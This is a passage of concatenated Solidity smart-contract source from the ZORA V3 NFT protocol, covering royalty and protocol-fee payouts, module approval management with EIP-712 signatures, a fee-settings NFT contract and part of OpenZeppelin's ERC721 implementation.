import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC165Checker} from "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol";
import {ZoraProtocolFeeSettings} from "../../auxiliary/ZoraProtocolFeeSettings/ZoraProtocolFeeSettings.sol";
import {OutgoingTransferSupportV1} from "../OutgoingTransferSupport/V1/OutgoingTransferSupportV1.sol";
/// @title FeePayoutSupportV1
/// @author tbtstl <[email protected]>
/// @notice This contract extension supports paying out protocol fees and royalties
contract FeePayoutSupportV1 is OutgoingTransferSupportV1 {
/// @notice The ZORA Module Registrar
address public immutable registrar;
/// @notice The ZORA Protocol Fee Settings
ZoraProtocolFeeSettings immutable protocolFeeSettings;
/// @notice The Manifold Royalty Engine
IRoyaltyEngineV1 royaltyEngine;
/// @notice Emitted when royalties are paid
/// @param tokenContract The ERC-721 token address of the royalty payout
/// @param tokenId The ERC-721 token ID of the royalty payout
/// @param recipient The recipient address of the royalty
/// @param amount The amount paid to the recipient
event RoyaltyPayout(address indexed tokenContract, uint256 indexed tokenId, address recipient, uint256 amount);
/// @param _royaltyEngine The Manifold Royalty Engine V1 address
/// @param _protocolFeeSettings The ZoraProtocolFeeSettingsV1 address
/// @param _wethAddress WETH address
/// @param _registrarAddress The Registrar address, who can update the royalty engine address
constructor(
address _royaltyEngine,
address _protocolFeeSettings,
address _wethAddress,
address _registrarAddress
) OutgoingTransferSupportV1(_wethAddress) {
royaltyEngine = IRoyaltyEngineV1(_royaltyEngine);
protocolFeeSettings = ZoraProtocolFeeSettings(_protocolFeeSettings);
registrar = _registrarAddress;
}
/// @notice Update the address of the Royalty Engine, in case of unexpected update on Manifold's Proxy
/// @dev emergency use only – requires a frozen RoyaltyEngineV1 at commit 4ae77a73a8a73a79d628352d206fadae7f8e0f74
/// to be deployed elsewhere, or a contract matching that ABI
/// @param _royaltyEngine The address for the new royalty engine
function setRoyaltyEngineAddress(address _royaltyEngine) public {
require(msg.sender == registrar, "setRoyaltyEngineAddress only registrar");
require(
ERC165Checker.supportsInterface(_royaltyEngine, type(IRoyaltyEngineV1).interfaceId),
"setRoyaltyEngineAddress must match IRoyaltyEngineV1 interface"
);
royaltyEngine = IRoyaltyEngineV1(_royaltyEngine);
}
/// @notice Pays out the protocol fee to its fee recipient
/// @param _amount The sale amount
/// @param _payoutCurrency The currency to pay the fee
/// @return The remaining funds after paying the protocol fee
function _handleProtocolFeePayout(uint256 _amount, address _payoutCurrency) internal returns (uint256) {
// Get fee for this module
uint256 protocolFee = protocolFeeSettings.getFeeAmount(address(this), _amount);
// If no fee, return initial amount
if (protocolFee == 0) return _amount;
// Get fee recipient
(, address feeRecipient) = protocolFeeSettings.moduleFeeSetting(address(this));
// Payout protocol fee
_handleOutgoingTransfer(feeRecipient, protocolFee, _payoutCurrency, 50000);
// Return remaining amount
return _amount - protocolFee;
}
/// @notice Pays out royalties for given NFTs
/// @param _tokenContract The NFT contract address to get royalty information from
/// @param _tokenId, The Token ID to get royalty information from
/// @param _amount The total sale amount
/// @param _payoutCurrency The ERC-20 token address to payout royalties in, or address(0) for ETH
/// @param _gasLimit The gas limit to use when attempting to payout royalties. Uses gasleft() if not provided.
/// @return The remaining funds after paying out royalties
function _handleRoyaltyPayout(
address _tokenContract,
uint256 _tokenId,
uint256 _amount,
address _payoutCurrency,
uint256 _gasLimit
) internal returns (uint256, bool) {
// If no gas limit was provided or provided gas limit greater than gas left, just pass the remaining gas.
uint256 gas = (_gasLimit == 0 || _gasLimit > gasleft()) ? gasleft() : _gasLimit;
// External call ensuring contract doesn't run out of gas paying royalties
try this._handleRoyaltyEnginePayout{gas: gas}(_tokenContract, _tokenId, _amount, _payoutCurrency) returns (uint256 remainingFunds) {
// Return remaining amount if royalties payout succeeded
return (remainingFunds, true);
} catch {
// Return initial amount if royalties payout failed
return (_amount, false);
}
}
/// @notice Pays out royalties for NFTs based on the information returned by the royalty engine
/// @dev This method is external to enable setting a gas limit when called - see `_handleRoyaltyPayout`.
/// @param _tokenContract The NFT Contract to get royalty information from
/// @param _tokenId, The Token ID to get royalty information from
/// @param _amount The total sale amount
/// @param _payoutCurrency The ERC-20 token address to payout royalties in, or address(0) for ETH
/// @return The remaining funds after paying out royalties
function _handleRoyaltyEnginePayout(
address _tokenContract,
uint256 _tokenId,
uint256 _amount,
address _payoutCurrency
) external payable returns (uint256) {
// Ensure the caller is the contract
require(msg.sender == address(this), "_handleRoyaltyEnginePayout only self callable");
// Get the royalty recipients and their associated amounts
(address payable[] memory recipients, uint256[] memory amounts) = royaltyEngine.getRoyalty(_tokenContract, _tokenId, _amount);
// Store the number of recipients
uint256 numRecipients = recipients.length;
// If there are no royalties, return the initial amount
if (numRecipients == 0) return _amount;
// Store the initial amount
uint256 amountRemaining = _amount;
// Store the variables that cache each recipient and amount
address recipient;
uint256 amount;
// Payout each royalty
for (uint256 i = 0; i < numRecipients; ) {
// Cache the recipient and amount
recipient = recipients[i];
amount = amounts[i];
// Ensure that we aren't somehow paying out more than we have
require(amountRemaining >= amount, "insolvent");
// Transfer to the recipient
_handleOutgoingTransfer(recipient, amount, _payoutCurrency, 50000);
emit RoyaltyPayout(_tokenContract, _tokenId, recipient, amount);
// Cannot underflow as remaining amount is ensured to be greater than or equal to royalty amount
unchecked {
amountRemaining -= amount;
++i;
}
}
return amountRemaining;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.10;
/// @title Module Naming Support V1
/// @author kulkarohan <[email protected]>
/// @notice This contract extension supports naming modules
contract ModuleNamingSupportV1 {
/// @notice The module name
string public name;
/// @notice Sets the name of a module
/// @param _name The module name to set
constructor(string memory _name) {
name = _name;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.10;
/// @title IReserveAuctionFindersEth
/// @author kulkarohan
/// @notice Interface for Reserve Auction Finders ETH
interface IReserveAuctionFindersEth {
/// @notice Creates an auction for a given NFT
/// @param _tokenContract The address of the ERC-721 token
/// @param _tokenId The id of the ERC-721 token
/// @param _duration The length of time the auction should run after the first bid
/// @param _reservePrice The minimum bid amount to start the auction
/// @param _sellerFundsRecipient The address to send funds to once the auction is complete
/// @param _startTime The time that users can begin placing bids
/// @param _findersFeeBps The fee to send to the referrer of the winning bid
function createAuction(
address _tokenContract,
uint256 _tokenId,
uint256 _duration,
uint256 _reservePrice,
address _sellerFundsRecipient,
uint256 _startTime,
uint256 _findersFeeBps
) external;
/// @notice Updates the reserve price for a given auction
/// @param _tokenContract The address of the ERC-721 token
/// @param _tokenId The id of the ERC-721 token
/// @param _reservePrice The new reserve price
function setAuctionReservePrice(
address _tokenContract,
uint256 _tokenId,
uint256 _reservePrice
) external;
/// @notice Cancels the auction for a given NFT
/// @param _tokenContract The address of the ERC-721 token
/// @param _tokenId The id of the ERC-721 token
function cancelAuction(address _tokenContract, uint256 _tokenId) external;
/// @notice Places a bid on the auction for a given NFT
/// @param _tokenContract The address of the ERC-721 token
/// @param _tokenId The id of the ERC-721 token
/// @param _finder The referrer of the bid
function createBid(
address _tokenContract,
uint256 _tokenId,
address _finder
) external payable;
/// @notice Ends the auction for a given NFT
/// @param _tokenContract The address of the ERC-721 token
/// @param _tokenId The id of the ERC-721 token
function settleAuction(address _tokenContract, uint256 _tokenId) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.10;
import {ZoraModuleManager} from "../ZoraModuleManager.sol";
/// @title Base Transfer Helper
/// @author tbtstl <[email protected]>
/// @notice This contract provides shared utility for ZORA transfer helpers
contract BaseTransferHelper {
/// @notice The ZORA Module Manager
ZoraModuleManager public immutable ZMM;
/// @param _moduleManager The ZORA Module Manager referred to for transfer permissions
constructor(address _moduleManager) {
require(_moduleManager != address(0), "must set module manager to non-zero address");
ZMM = ZoraModuleManager(_moduleManager);
}
/// @notice Ensures a user has approved the module they're calling
/// @param _user The address of the user
modifier onlyApprovedModule(address _user) {
require(isModuleApproved(_user), "module has not been approved by user");
_;
}
/// @notice If a user has approved the module they're calling
/// @param _user The address of the user
function isModuleApproved(address _user) public view returns (bool) {
return ZMM.isModuleApproved(_user, msg.sender);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.10;
import {ZoraProtocolFeeSettings} from "./auxiliary/ZoraProtocolFeeSettings/ZoraProtocolFeeSettings.sol";
/// @title ZoraModuleManager
/// @author tbtstl <[email protected]>
/// @notice This contract allows users to approve registered modules on ZORA V3
contract ZoraModuleManager {
/// @notice The EIP-712 type for a signed approval
/// @dev keccak256("SignedApproval(address module,address user,bool approved,uint256 deadline,uint256 nonce)")
bytes32 private constant SIGNED_APPROVAL_TYPEHASH = 0x8413132cc7aa5bd2ce1a1b142a3f09e2baeda86addf4f9a5dacd4679f56e7cec;
/// @notice The EIP-712 domain separator
bytes32 private immutable EIP_712_DOMAIN_SEPARATOR =
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes("ZORA")),
keccak256(bytes("3")),
_chainID(),
address(this)
)
);
/// @notice The module fee NFT contract to mint from upon module registration
ZoraProtocolFeeSettings public immutable moduleFeeToken;
/// @notice The registrar address that can register modules
address public registrar;
/// @notice Mapping of users and modules to approved status
/// @dev User address => Module address => Approved
mapping(address => mapping(address => bool)) public userApprovals;
/// @notice Mapping of modules to registered status
/// @dev Module address => Registered
mapping(address => bool) public moduleRegistered;
/// @notice The signature nonces for 3rd party module approvals
mapping(address => uint256) public sigNonces;
/// @notice Ensures only the registrar can register modules
modifier onlyRegistrar() {
require(msg.sender == registrar, "ZMM::onlyRegistrar must be registrar");
_;
}
/// @notice Emitted when a user's module approval is updated
/// @param user The address of the user
/// @param module The address of the module
/// @param approved Whether the user added or removed approval
event ModuleApprovalSet(address indexed user, address indexed module, bool approved);
/// @notice Emitted when a module is registered
/// @param module The address of the module
event ModuleRegistered(address indexed module);
/// @notice Emitted when the registrar address is updated
/// @param newRegistrar The address of the new registrar
event RegistrarChanged(address indexed newRegistrar);
/// @param _registrar The initial registrar for the manager
/// @param _feeToken The module fee token contract to mint from upon module registration
constructor(address _registrar, address _feeToken) {
require(_registrar != address(0), "ZMM::must set registrar to non-zero address");
registrar = _registrar;
moduleFeeToken = ZoraProtocolFeeSettings(_feeToken);
}
/// @notice Returns true if the user has approved a given module, false otherwise
/// @param _user The user to check approvals for
/// @param _module The module to check approvals for
/// @return True if the module has been approved by the user, false otherwise
function isModuleApproved(address _user, address _module) external view returns (bool) {
return userApprovals[_user][_module];
}
// ,-.
// `-'
// /|\
// | ,-----------------.
// / \ |ZoraModuleManager|
// Caller `--------+--------'
// | setApprovalForModule()|
// | ---------------------->
// | |
// | |----.
// | | | set approval for module
// | |<---'
// | |
// | |----.
// | | | emit ModuleApprovalSet()
// | |<---'
// Caller ,--------+--------.
// ,-. |ZoraModuleManager|
// `-' `-----------------'
// /|\
// |
// / \
/// @notice Allows a user to set the approval for a given module
/// @param _module The module to approve
/// @param _approved A boolean, whether or not to approve a module
function setApprovalForModule(address _module, bool _approved) public {
_setApprovalForModule(_module, msg.sender, _approved);
}
// ,-.
// `-'
// /|\
// | ,-----------------.
// / \ |ZoraModuleManager|
// Caller `--------+--------'
// | setBatchApprovalForModule()|
// | --------------------------->
// | |
// | |
// | _____________________________________________________
// | ! LOOP / for each module !
// | !______/ | !
// | ! |----. !
// | ! | | set approval for module !
// | ! |<---' !
// | ! | !
// | ! |----. !
// | ! | | emit ModuleApprovalSet() !
// | ! |<---' !
// | !~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~!
// Caller ,--------+--------.
// ,-. |ZoraModuleManager|
// `-' `-----------------'
// /|\
// |
// / \
/// @notice Sets approvals for multiple modules at once
/// @param _modules The list of module addresses to set approvals for
/// @param _approved A boolean, whether or not to approve the modules
function setBatchApprovalForModules(address[] memory _modules, bool _approved) public {
// Store the number of module addresses provided
uint256 numModules = _modules.length;
// Loop through each address
for (uint256 i = 0; i < numModules; ) {
// Ensure that it's a registered module and set the approval
_setApprovalForModule(_modules[i], msg.sender, _approved);
// Cannot overflow as array length cannot exceed uint256 max
unchecked {
++i;
}
}
}
// ,-.
// `-'
// /|\
// | ,-----------------.
// / \ |ZoraModuleManager|
// Caller `--------+--------'
// | setApprovalForModuleBySig()|
// | --------------------------->
// | |
// | |----.
// | | | recover user address from signature
// | |<---'
// | |
// | |----.
// | | | set approval for module
// | |<---'
// | |
// | |----.
// | | | emit ModuleApprovalSet()
// | |<---'
// Caller ,--------+--------.
// ,-. |ZoraModuleManager|
// `-' `-----------------'
// /|\
// |
// / \
/// @notice Sets approval for a module given an EIP-712 signature
/// @param _module The module to approve
/// @param _user The user to approve the module for
/// @param _approved A boolean, whether or not to approve a module
/// @param _deadline The deadline at which point the given signature expires
/// @param _v The 129th byte and chain ID of the signature
/// @param _r The first 64 bytes of the signature
/// @param _s Bytes 64-128 of the signature
function setApprovalForModuleBySig(
address _module,
address _user,
bool _approved,
uint256 _deadline,
uint8 _v,
bytes32 _r,
bytes32 _s
) public {
require(_deadline == 0 || _deadline >= block.timestamp, "ZMM::setApprovalForModuleBySig deadline expired");
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
EIP_712_DOMAIN_SEPARATOR,
keccak256(abi.encode(SIGNED_APPROVAL_TYPEHASH, _module, _user, _approved, _deadline, sigNonces[_user]++))
)
);
address recoveredAddress = ecrecover(digest, _v, _r, _s);
require(recoveredAddress != address(0) && recoveredAddress == _user, "ZMM::setApprovalForModuleBySig invalid signature");
_setApprovalForModule(_module, _user, _approved);
}
// ,-.
// `-'
// /|\
// | ,-----------------. ,-----------------------.
// / \ |ZoraModuleManager| |ZoraProtocolFeeSettings|
// Registrar `--------+--------' `-----------+-----------'
// | registerModule() | |
// |----------------------->| |
// | | |
// | ----. |
// | | register module |
// | <---' |
// | | |
// | | mint() |
// | |------------------------------>|
// | | |
// | | ----.
// | | | mint token to registrar
// | | <---'
// | | |
// | ----. |
// | | emit ModuleRegistered() |
// | <---' |
// Registrar ,--------+--------. ,-----------+-----------.
// ,-. |ZoraModuleManager| |ZoraProtocolFeeSettings|
// `-' `-----------------' `-----------------------'
// /|\
// |
// / \
/// @notice Registers a module
/// @param _module The address of the module
function registerModule(address _module) public onlyRegistrar {
require(!moduleRegistered[_module], "ZMM::registerModule module already registered");
moduleRegistered[_module] = true;
moduleFeeToken.mint(registrar, _module);
emit ModuleRegistered(_module);
}
// ,-.
// `-'
// /|\
// | ,-----------------.
// / \ |ZoraModuleManager|
// Registrar `--------+--------'
// | setRegistrar() |
// |----------------------->|
// | |
// | ----.
// | | set registrar
// | <---'
// | |
// | ----.
// | | emit RegistrarChanged()
// | <---'
// Registrar ,--------+--------.
// ,-. |ZoraModuleManager|
// `-' `-----------------'
// /|\
// |
// / \
/// @notice Sets the registrar for the ZORA Module Manager
/// @param _registrar the address of the new registrar
function setRegistrar(address _registrar) public onlyRegistrar {
require(_registrar != address(0), "ZMM::setRegistrar must set registrar to non-zero address");
registrar = _registrar;
emit RegistrarChanged(_registrar);
}
/// @notice Updates a module approval for a user
/// @param _module The address of the module
/// @param _user The address of the user
/// @param _approved Whether the user is adding or removing approval
function _setApprovalForModule(
address _module,
address _user,
bool _approved
) private {
require(moduleRegistered[_module], "ZMM::must be registered module");
userApprovals[_user][_module] = _approved;
emit ModuleApprovalSet(msg.sender, _module, _approved);
}
/// @notice The EIP-155 chain id
function _chainID() private view returns (uint256 id) {
assembly {
id := chainid()
}
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.10;
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
interface IERC721TokenURI {
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/// @title ZoraProtocolFeeSettings
/// @author tbtstl <[email protected]>
/// @notice This contract allows an optional fee percentage and recipient to be set for individual ZORA modules
contract ZoraProtocolFeeSettings is ERC721 {
/// @notice The address of the contract metadata
address public metadata;
/// @notice The address of the contract owner
address public owner;
/// @notice The address of the ZORA Module Manager
address public minter;
/// @notice The metadata of a module fee setting
/// @param feeBps The basis points fee
/// @param feeRecipient The recipient of the fee
struct FeeSetting {
uint16 feeBps;
address feeRecipient;
}
/// @notice Mapping of modules to fee settings
/// @dev Module address => FeeSetting
mapping(address => FeeSetting) public moduleFeeSetting;
/// @notice Ensures only the owner of a module fee NFT can set its fee
/// @param _module The address of the module
modifier onlyModuleOwner(address _module) {
uint256 tokenId = moduleToTokenId(_module);
require(ownerOf(tokenId) == msg.sender, "onlyModuleOwner");
_;
}
/// @notice Emitted when the fee for a module is updated
/// @param module The address of the module
/// @param feeRecipient The address of the fee recipient
/// @param feeBps The basis points of the fee
event ProtocolFeeUpdated(address indexed module, address feeRecipient, uint16 feeBps);
/// @notice Emitted when the contract metadata is updated
/// @param newMetadata The address of the new metadata
event MetadataUpdated(address indexed newMetadata);
/// @notice Emitted when the contract owner is updated
/// @param newOwner The address of the new owner
event OwnerUpdated(address indexed newOwner);
constructor() ERC721("ZORA Module Fee Switch", "ZORF") {
_setOwner(msg.sender);
}
/// @notice Initialize the Protocol Fee Settings
/// @param _minter The address that can mint new NFTs (expected ZoraModuleManager address)
function init(address _minter, address _metadata) external {
require(msg.sender == owner, "init only owner");
require(minter == address(0), "init already initialized");
minter = _minter;
metadata = _metadata;
}
// ,-.
// `-'
// /|\
// | ,-----------------------.
// / \ |ZoraProtocolFeeSettings|
// Minter `-----------+-----------'
// | mint() |
// | ------------------------>|
// | |
// | ----.
// | | derive token ID from module address
// | <---'
// | |
// | ----.
// | | mint token to given address
// | <---'
// | |
// | return token ID |
// | <------------------------|
// Minter ,-----------+-----------.
// ,-. |ZoraProtocolFeeSettings|
// `-' `-----------------------'
// /|\
// |
// / \
/// @notice Mint a new protocol fee setting for a module
/// @param _to The address to send the protocol fee setting token to
/// @param _module The module for which the minted token will represent
function mint(address _to, address _module) external returns (uint256) {
require(msg.sender == minter, "mint onlyMinter");
uint256 tokenId = moduleToTokenId(_module);
_mint(_to, tokenId);
return tokenId;
}
// ,-.
// `-'
// /|\
// | ,-----------------------.
// / \ |ZoraProtocolFeeSettings|
// ModuleOwner `-----------+-----------'
// | setFeeParams() |
// |--------------------------->|
// | |
// | ----.
// | | set fee parameters
// | <---'
// | |
// | ----.
// | | emit ProtocolFeeUpdated()
// | <---'
// ModuleOwner ,-----------+-----------.
// ,-. |ZoraProtocolFeeSettings|
// `-' `-----------------------'
// /|\
// |
// / \
/// @notice Sets fee parameters for a module fee NFT
/// @param _module The module to apply the fee settings to
/// @param _feeRecipient The fee recipient address to send fees to
/// @param _feeBps The bps of transaction value to send to the fee recipient
function setFeeParams(
address _module,
address _feeRecipient,
uint16 _feeBps
) external onlyModuleOwner(_module) {
require(_feeBps <= 10000, "setFeeParams must set fee <= 100%");
require(_feeRecipient != address(0) || _feeBps == 0, "setFeeParams fee recipient cannot be 0 address if fee is greater than 0");
moduleFeeSetting[_module] = FeeSetting(_feeBps, _feeRecipient);
emit ProtocolFeeUpdated(_module, _feeRecipient, _feeBps);
}
// ,-.
// `-'
// /|\
// | ,-----------------------.
// / \ |ZoraProtocolFeeSettings|
// Owner `-----------+-----------'
// | setOwner() |
// |------------------------>|
// | |
// | ----.
// | | set owner
// | <---'
// | |
// | ----.
// | | emit OwnerUpdated()
// | <---'
// Owner ,-----------+-----------.
// ,-. |ZoraProtocolFeeSettings|
// `-' `-----------------------'
// /|\
// |
// / \
/// @notice Sets the owner of the contract
/// @param _owner The address of the owner
function setOwner(address _owner) external {
require(msg.sender == owner, "setOwner onlyOwner");
_setOwner(_owner);
}
// ,-.
// `-'
// /|\
// | ,-----------------------.
// / \ |ZoraProtocolFeeSettings|
// Owner `-----------+-----------'
// | setMetadata() |
// |------------------------>|
// | |
// | ----.
// | | set metadata
// | <---'
// | |
// | ----.
// | | emit MetadataUpdated()
// | <---'
// Owner ,-----------+-----------.
// ,-. |ZoraProtocolFeeSettings|
// `-' `-----------------------'
// /|\
// |
// / \
/// @notice Sets the metadata of the contract
/// @param _metadata The address of the metadata
function setMetadata(address _metadata) external {
require(msg.sender == owner, "setMetadata onlyOwner");
_setMetadata(_metadata);
}
/// @notice Computes the fee for a given uint256 amount
/// @param _module The module to compute the fee for
/// @param _amount The amount to compute the fee for
/// @return The amount to be paid out to the fee recipient
function getFeeAmount(address _module, uint256 _amount) external view returns (uint256) {
return (_amount * moduleFeeSetting[_module].feeBps) / 10000;
}
/// @notice Returns the module address for a given token ID
/// @param _tokenId The token ID
/// @return The module address
function tokenIdToModule(uint256 _tokenId) public pure returns (address) {
return address(uint160(_tokenId));
}
/// @notice Returns the token ID for a given module
/// @dev We don't worry about losing the top 20 bytes when going from uint256 -> uint160 since we know token ID must have derived from an address
/// @param _module The module address
/// @return The token ID
function moduleToTokenId(address _module) public pure returns (uint256) {
return uint256(uint160(_module));
}
/// @notice Returns the token URI for a given token ID
/// @param _tokenId The token ID
/// @return The token URI
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
require(_exists(_tokenId), "ERC721Metadata: URI query for nonexistent token");
require(metadata != address(0), "ERC721Metadata: no metadata address");
return IERC721TokenURI(metadata).tokenURI(_tokenId);
}
/// @notice Sets the contract metadata in `setMetadata`
/// @param _metadata The address of the metadata
function _setMetadata(address _metadata) private {
metadata = _metadata;
emit MetadataUpdated(_metadata);
}
/// @notice Sets the contract owner in `setOwner`
/// @param _owner The address of the owner
function _setOwner(address _owner) private {
owner = _owner;
emit OwnerUpdated(_owner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
